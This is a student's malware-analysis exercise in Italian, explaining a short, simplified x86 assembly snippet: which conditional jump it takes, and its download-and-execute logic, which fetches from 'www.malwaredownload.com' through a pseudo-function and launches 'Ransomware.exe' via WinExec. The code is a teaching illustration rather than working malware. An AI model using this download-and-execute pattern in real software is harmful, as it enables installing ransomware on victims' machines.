CS0424 S11-L5
ANALISI MALWARE

Mattia Fossati

23/08/2024

Traccia

Con riferimento al codice presente nella slide successiva, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.
2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni ""call" presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione. Aggiungere eventuali dettagli tecnici/teorici.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1. Salto condizionale

Nel codice presente nella Tabella 1 viene effettuato solo il secondo salto condizionale (00401068). L'istruzione **jz** efettua il salto solo quando il risultato dell'operazione precedente è uguale a zero e quindi la ZeroFlag è uguale a uno ZF=1

```
mov     EAX, 5
mov     EBX, 10
cmp     EAX, 5
jnz     loc 0040BBA0        ; tabella 2
inc     EBX
cmp     EBX, 11
jz      loc 0040FFA0        ; tabella 3
```

- Copia il valore **10** in **EBX**

- Incrementa di 1 il valore di **EBX** (10+1)

- Operazione **cmp** (EBX-11)

- **jz** effettua jump perchè 11-11=0 e quindi ZF=1

2. Diagramma di flusso

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

3. Funzionalità del malware

Con la chiamata di funzione **DownloadToFile()** il malware è in grado di scaricare contenuti da un url specificato, in questo caso un altro malware.

```
mov     EAX, EDI            EDI= www.malwaredownload.com
push    EAX                 ; URL
call    DownloadToFile ()   ; pseudo funzione
```

Con la chiamata di funzione **WinExec()** il malware può eseguire comandi o avviare eseguibili, in questo caso il malware esegue un file chiamato **Ransomware.exe**

```
mov     EDX, EDI            EDI: C:\Program and Settings \Local
                            User\Desktop \Ransomware.exe
push    EDX                 ; .exe da eseguire
call    WinExec()           ; pseudo funzione
```

4. Chiamate di funzione

DownloadToFile()

La funzione **DownloadToFile** permette di scaricare file da un URL.

Funzionamento:
- Con **"mov EAX,EDI"** l'url, contenuto in **EDI** viene copiato su **EAX**.
- **"push EAX"** pusha **EAX** nello stack come parametro della funzione.
- **"call DownloadToFile()"** chiama la funzione che scarica il file dall' URL.

WinExec()

La funzione **WinExec** permette di eseguire un file.

Funzionamento:
- Con **"mov EDX,EDI"** l'url, contenuto in **EDI** viene copiato su **EDX**.
- **"push EDX"** pusha **EDX** nello stack come parametro della funzione.
- **"call WinExec()"** chiama la funzione che esegue il file **"Ransomware.exe"**.